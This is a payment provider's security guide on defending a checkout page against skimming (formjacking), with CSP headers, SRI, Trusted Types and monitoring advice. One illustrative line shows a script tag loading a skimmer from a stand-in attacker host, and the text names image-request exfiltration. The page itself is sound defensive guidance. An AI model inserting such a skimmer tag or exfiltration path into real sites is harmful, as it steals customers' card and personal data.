> For clean Markdown of any page, append .md to the page URL.
> For a complete documentation index, see https://docs.paymentkit.com/llms.txt.
> For AI client integration (Claude Code, Cursor, etc.), connect to the MCP server at https://docs.paymentkit.com/_mcp/server.

# Securing your checkout

Your checkout page is where your customers enter their card details, so keeping it safe is worth a little extra care. The attack to watch for is *skimming* (also called formjacking, or a Magecart-style attack). Instead of going after the card inputs directly, an attacker takes over some other script that your page already trusts, such as a marketing pixel, a tag manager, or a consent banner, and quietly uses it to read your form fields.

# What PaymentKit already protects

The good news is that PaymentKit.js already keeps the most sensitive data out of that reach. It renders the card number, expiry, and CVC inside **isolated, cross-origin iframes** (VGS Collect), so your page's JavaScript (and anything injected into it) simply cannot read what the shopper types into them. The card number and CVC leave the iframe only as tokenized aliases; the raw values never reach your servers or your code. That isolation is a strong, browser-enforced boundary, and it's what **reduces your PCI scope**. The hardest part of checkout security is handled for you.

> **Info**
>
> The card iframe protects the card fields themselves, not the other data your page handles (the name, email, and address in your own inputs) or the page's markup, which a tampered script could alter or overlay with a look-alike field. That isn't a gap in PaymentKit. It's simply the part of the page you own.

# Securing the rest of your page

It takes a small, standard set of browser-level controls. Here they are, strongest first:

| Control                                                                                   | Impact   | What it does                                                                 |
| ----------------------------------------------------------------------------------------- | -------- | ---------------------------------------------------------------------------- |
| [Content Security Policy](#content-security-policy)                                       | Highest  | Browser-enforced limits on what the page can load and where it can send data |
| [Keep card data in PaymentKit's iframe](#keep-card-data-in-paymentkits-iframe)            | Baseline | Keeps the raw card fields inside PaymentKit's isolation                      |
| [Minimize and inventory third-party scripts](#minimize-and-inventory-third-party-scripts) | High     | Shrinks the attack surface by removing non-essential scripts                 |
| [Monitor your checkout out of band](#monitor-your-checkout-out-of-band)                   | High     | Detects a live skimmer from outside the page                                 |
| [Subresource Integrity](#subresource-integrity)                                           | Medium   | Pins immutable third-party scripts so a tampered file won't run              |
| [Trusted Types](#trusted-types)                                                           | Medium   | Closes DOM-based injection points in your own code                           |

# Content Security Policy

**Impact: highest.** Do this first. A [Content-Security-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) (CSP) header is the primary, browser-enforced control for a checkout page. It is set by your server and the browser enforces it, so a script that is already running on the page cannot turn it off. Two directives, `connect-src` and `script-src`, do most of the work, backed by a few others (`img-src`, `form-action`, `default-src`) covered below.

## `connect-src`: a core lever against exfiltration

`connect-src` controls where the page may *send* data via `fetch`, `XMLHttpRequest`, WebSocket, and `navigator.sendBeacon`. It is one of your most effective controls against a skimmer: even if attacker code runs on the page, it cannot send stolen data to an endpoint the browser refuses to connect to.

`connect-src` is not the only channel to close, though. Data can also leave a page through an image request (`new Image().src = ...`, governed by `img-src`), a form POST (`form-action`), or a top-level navigation (which no CSP directive fully stops), so close those too. The strongest posture is `default-src 'none'` with only the sources the page needs added back. Note that some directives, `form-action` among them, do **not** inherit from `default-src`, so you must set them explicitly.

Allowlist only what the page genuinely needs:

* your own backend and analytics endpoints;
* the PaymentKit and payment-processor hosts your integration talks to.

> **Info**
>
> There is no single, fixed `connect-src` host list to paste here, because the exact PaymentKit and processor hosts depend on which payment methods you enable. The [Getting started CSP section](/guides/integration/sdk-reference/payment-kit-js/getting-started#content-security-policy) documents the script hosts PaymentKit needs; the connection (`connect-src`) and iframe (`frame-src`) hosts you discover from your own integration and your CSP reports. Start strict, roll out in report-only mode (below), test every payment method end to end, and add only the hosts that turn out to be required.

## `script-src`: restrict which origins can load code

`script-src` controls which origins the page may load scripts from. Keeping it tight means an attacker cannot simply add a `<script src="https://attacker.example/skimmer.js">` tag and have the browser fetch it. The PaymentKit script hosts to allowlist are listed in the [Getting started CSP section](/guides/integration/sdk-reference/payment-kit-js/getting-started#content-security-policy); do not duplicate that table here. Link to it so you always use the current list. If your policy blocks a **script** host PaymentKit needs, PaymentKit.js logs the exact origin to the browser console and names the `script-src` directive, so you can add it.

## Report blocked loads and connections

Add a reporting endpoint (`report-to`, or the older `report-uri`) and the browser reports when it **blocks a script load or a connection**, out of band and over its own channel. This is detection that an on-page attacker cannot suppress from JavaScript: the report is generated by the browser, not your page code. A stream of blocked-connection reports to an unfamiliar host is a strong early signal that something is trying to exfiltrate data.

It is a partial signal, not a complete one: reports fire only for attempts to reach a **disallowed** destination, so a skimmer that exfiltrates through a host you already allow (your own backend, an allowed analytics or image domain) generates none. Delivery is also best-effort and batched. Treat CSP reports as one input to the out-of-band monitoring below, not the whole of it.

## Example header

This skeleton keeps `script-src` consistent with the [Getting started CSP section](/guides/integration/sdk-reference/payment-kit-js/getting-started#content-security-policy) and closes the main exfiltration channels (`connect-src`, `img-src`, `form-action`). It is **illustrative**. Substitute your own endpoints, and add the `frame-src` and remaining hosts your integration needs (discover them in report-only mode below). `report-to` names a group you must define with a separate `Reporting-Endpoints` header; `report-uri <url>` is a simpler, more widely supported alternative that takes a URL directly.

```http
Content-Security-Policy: script-src 'self' https://static.airwallex.com https://js.stripe.com; connect-src 'self' https://api.your-backend.example; img-src 'self'; form-action 'self'; report-to csp-endpoint;
Reporting-Endpoints: csp-endpoint="https://your-collector.example/csp"
```

> **Info**
>
> Roll a new CSP out in report-only mode first (`Content-Security-Policy-Report-Only`). The browser reports what *would* be blocked without breaking checkout, so you can find every host your integration legitimately needs before you enforce the policy.

# Keep card data in PaymentKit's iframe

**Impact: baseline.** Non-negotiable. This one keeps the protection PaymentKit already gives you, rather than adding a new control: the iframe isolation described above only protects you if the card data actually stays inside the iframe.

* **Do not build your own card number, expiry, or CVC inputs.** Use PaymentKit's card elements (see [Card payments](/guides/integration/sdk-reference/payment-kit-js/card-payments)). A field you build yourself lives in your top frame, where any script on the page can read it. That pulls card data into your own systems, expands your PCI scope, and undoes the isolation PaymentKit gives you.
* **Do not copy card values into the top frame**, not into a variable, a hidden field, a log line, or an analytics event. The moment a card value exists outside the iframe, the isolation no longer applies to it.

# Minimize and inventory third-party scripts

**Impact: high.** Fewer scripts mean a smaller attack surface. Every third-party tag (marketing pixels, tag managers, A/B and personalization tools, chat widgets, consent banners) runs with the **full privileges of the page**: it can read your top-frame form fields, change the DOM, and send data out, and its vendor can update its code at any time. Keeping that set small and known is the most direct way to shrink the surface.

* **Remove non-essential tags** from any page that collects card details or other PII. A checkout page is the wrong place for a growth-experiment script.
* **Keep an inventory** of every script that loads on the checkout page, why it is there, and who owns it. You cannot reason about what might be compromised if you do not know what is loading.
* **Prefer loading analytics server-side** where you can, so the data-collection code is not running next to the shopper's keystrokes at all.

# Monitor your checkout out of band

**Impact: high.** This is your detection layer. Prevention keeps most skimmers out; monitoring is how you catch the one that slips past, and it works best from outside the page. A check that runs *inside* the page shares the same context as any attacker code, so it can be tampered with: disabled, fed clean data, or simply beaten to the first run. The monitoring that reliably catches a live skimmer runs **outside** the page.

* **Load your real, production checkout from a clean environment** on a schedule (including a real mobile browser, since attacks are sometimes shown only to certain devices or geographies) and watch for **outbound network connections you don't recognize** and **scripts that weren't there before**. For example, a scheduled headless-browser run that records every script origin and outbound request from the checkout page and diffs them against a known-good baseline.
* **Watch your CSP reports.** The browser-generated blocked-load and blocked-connection reports (from the reporting endpoint above) can't be suppressed from the page. But, as noted above, they catch only attempts to reach *disallowed* hosts, so they complement the scan rather than replace it.
* **Alert on change.** The useful signal is a *diff*: a new script origin, a new outbound host, an unexpected request from the checkout page. Compare each run against a known-good baseline and alert when it drifts.

# Subresource Integrity

**Impact: medium.** Strong, but only for files you can pin. When you load a third-party script, pin it with a Subresource Integrity (SRI) hash. You add an `integrity` attribute containing a hash of the exact file you reviewed, plus `crossorigin`; the browser computes the hash of what it actually downloaded and **refuses to run the file if it does not match**. A silently altered script fails closed instead of executing.

```html
<script
  src="https://cdn.example.com/widget@1.4.2/widget.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"
></script>
```

> **Warning**
>
> SRI only works for files that never change: a specific, versioned, immutable build. It cannot pin a script that is *meant* to update itself (many vendor scripts, including the processor scripts PaymentKit relies on, auto-update at a stable URL); pinning such a script would break it the moment the vendor ships a new version. For those, lean on `script-src`, reporting, and a tight vendor allowlist instead.

# Trusted Types

**Impact: medium.** Defense-in-depth. Add `require-trusted-types-for 'script'` to your CSP to close DOM-based injection sinks. With it enabled, the browser blocks assigning a plain string to dangerous DOM sinks (such as `innerHTML` or `script.src`) unless it has passed through a policy you define. This closes the route a skimmer takes when it gets in through a cross-site-scripting hole in your *own* code. It does not stop a legitimately-loaded vendor script that is later compromised upstream. That script runs as trusted code, which is the job of `script-src`, SRI, and a tight vendor allowlist above.

```http
Content-Security-Policy: require-trusted-types-for 'script';
```

Browser support is now broad (Chromium-based browsers, Firefox, and recent Safari), but older browser versions silently ignore the directive, so treat Trusted Types as an added layer on top of CSP and SRI, not a replacement for them. As with any CSP change, roll it out in report-only mode first. Enforcing it can break libraries that write to the DOM in ways you did not expect.

> **Info**
>
> Put these layers in place and you've hardened the main ways a skimmer gets onto a checkout page and the main ways it gets data back out: PaymentKit isolates the card data, and CSP, SRI, Trusted Types, and out-of-band monitoring protect the page around it. No single control is a silver bullet, but together they make a skimming attack very hard to land and quick to catch.